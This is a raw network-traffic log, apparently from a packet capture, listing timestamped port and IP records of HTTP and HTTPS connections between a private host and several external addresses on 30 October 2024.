Oct 30, 2024 18:06:46.774329901 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774334908 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774342060 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774347067 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774352074 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774358034 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774369955 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774379969 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774390936 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774404049 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774413109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774418116 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774425983 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774435043 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774436951 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774444103 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774446011 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774471045 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774501085 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774606943 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774619102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774629116 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774638891 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774647951 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774657965 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774665117 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774671078 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774682999 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774689913 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774693966 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774705887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774715900 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774717093 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774729013 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774739981 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774744034 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774751902 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774761915 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774765015 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774772882 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774776936 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774796963 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774806976 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774807930 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774825096 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774833918 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774836063 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774847984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774853945 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774858952 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774871111 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774879932 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774882078 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774890900 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774900913 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774904013 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774912119 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774919987 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774923086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774935961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774944067 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774947882 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774959087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774969101 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774969101 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774981022 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.774983883 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.774992943 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.775005102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.775005102 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.775011063 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.775017023 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.775027037 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.775034904 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.775038004 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.775067091 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.775090933 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.775139093 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.775150061 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.775160074 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.775171041 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.775182009 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.775182962 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.775194883 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.775207043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.775206089 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.775226116 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.775239944 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.777424097 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.779891968 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.837640047 CET	443	49897	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.838289022 CET	49897	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.838306904 CET	443	49897	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.839077950 CET	49897	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.839093924 CET	443	49897	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.848193884 CET	49905	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.848238945 CET	443	49905	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:46.848300934 CET	49905	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.848695993 CET	49905	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.848706007 CET	443	49905	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:46.849890947 CET	443	49895	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.849980116 CET	443	49895	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.850065947 CET	49895	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.851217031 CET	49895	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.851234913 CET	443	49895	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.855614901 CET	49906	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.855652094 CET	443	49906	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.855706930 CET	49906	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.857069969 CET	49906	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.857079029 CET	443	49906	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.896656036 CET	443	49899	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.897931099 CET	49899	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.897962093 CET	443	49899	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.898819923 CET	49899	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.898827076 CET	443	49899	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.928961992 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.934719086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.972958088 CET	443	49898	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:46.973401070 CET	49898	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.973423958 CET	443	49898	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:46.974482059 CET	443	49898	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:46.974549055 CET	49898	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.976025105 CET	49898	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.976099968 CET	443	49898	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:46.977746964 CET	49898	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.977761030 CET	443	49898	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:46.977850914 CET	49898	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.977906942 CET	443	49898	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:46.981899977 CET	443	49897	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.982176065 CET	443	49897	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.982234001 CET	49897	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.982724905 CET	443	49900	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.988550901 CET	49897	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.988575935 CET	443	49897	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.988595009 CET	49897	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.988601923 CET	443	49897	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.990051031 CET	49900	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.990093946 CET	443	49900	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.990542889 CET	49900	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.990551949 CET	443	49900	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.000036955 CET	49907	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.000088930 CET	443	49907	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.000159025 CET	49907	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.000324011 CET	49907	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.000334024 CET	443	49907	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.033109903 CET	443	49899	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.033225060 CET	443	49899	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.033409119 CET	49899	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.059472084 CET	49898	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:47.087243080 CET	49899	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.087266922 CET	443	49899	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.109819889 CET	443	49901	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.112056017 CET	49901	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.112092972 CET	443	49901	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.113533974 CET	49901	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.113544941 CET	443	49901	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.128117085 CET	443	49900	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.128388882 CET	443	49900	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.129091978 CET	49900	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.135875940 CET	49900	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.135901928 CET	443	49900	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.135917902 CET	49900	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.135926962 CET	443	49900	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.139352083 CET	49908	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.139398098 CET	443	49908	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.139472008 CET	49908	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.139672995 CET	49908	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.139698982 CET	443	49908	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.154145956 CET	49909	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.154195070 CET	443	49909	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.154618979 CET	49909	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.159240961 CET	49909	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.159250975 CET	443	49909	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.204952955 CET	443	49898	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:47.206237078 CET	49898	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:47.206291914 CET	443	49898	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:47.206443071 CET	443	49898	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:47.206511974 CET	49898	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:47.206541061 CET	49898	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:47.221543074 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221606970 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.221642971 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221653938 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221664906 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221676111 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221685886 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221693039 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.221698999 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221714020 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.221724987 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.221752882 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.221782923 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221796989 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221808910 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221818924 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221827984 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.221831083 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221853018 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.221877098 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.221918106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221930027 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221946001 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221956015 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221961021 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.221966028 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221977949 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221988916 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.221992016 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222001076 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222004890 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222013950 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222024918 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222031116 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222038031 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222045898 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222059011 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222090006 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222198009 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222209930 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222219944 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222229958 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222240925 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222240925 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222251892 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222263098 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222264051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222275972 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222286940 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222291946 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222297907 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222309113 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222312927 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222325087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222333908 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222348928 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222374916 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222553968 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222564936 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222578049 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222587109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222596884 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222599030 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222609997 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222611904 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222625017 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222635984 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222637892 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222647905 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222675085 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222675085 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222693920 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222695112 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222711086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222722054 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222729921 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222733021 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222744942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222748995 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222757101 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222768068 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222775936 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222775936 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222785950 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222801924 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222816944 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222871065 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222879887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222918987 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222919941 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222932100 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222943068 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222954988 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.222954988 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.222970963 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223012924 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223025084 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223033905 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223040104 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223047018 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223058939 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223067999 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223067999 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223072052 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223094940 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223110914 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223155975 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223175049 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223186016 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223196030 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223201036 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223206997 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223212004 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223225117 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223232031 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223232031 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223237038 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223247051 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223254919 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223267078 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223275900 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223278046 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223288059 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223294020 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223308086 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223326921 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223328114 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223334074 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223340988 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223354101 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223365068 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223365068 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223391056 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223406076 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223469019 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223480940 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223489046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223500013 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223505020 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223511934 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223531008 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223555088 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223628044 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223639965 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223649979 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223660946 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223668098 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223671913 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223685026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223691940 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223695993 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223707914 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223716021 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223718882 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223731041 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223742008 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223742962 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223763943 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223766088 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.223778009 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.223778963 CET	49812	80	192.168.2.5	185.215.113.206
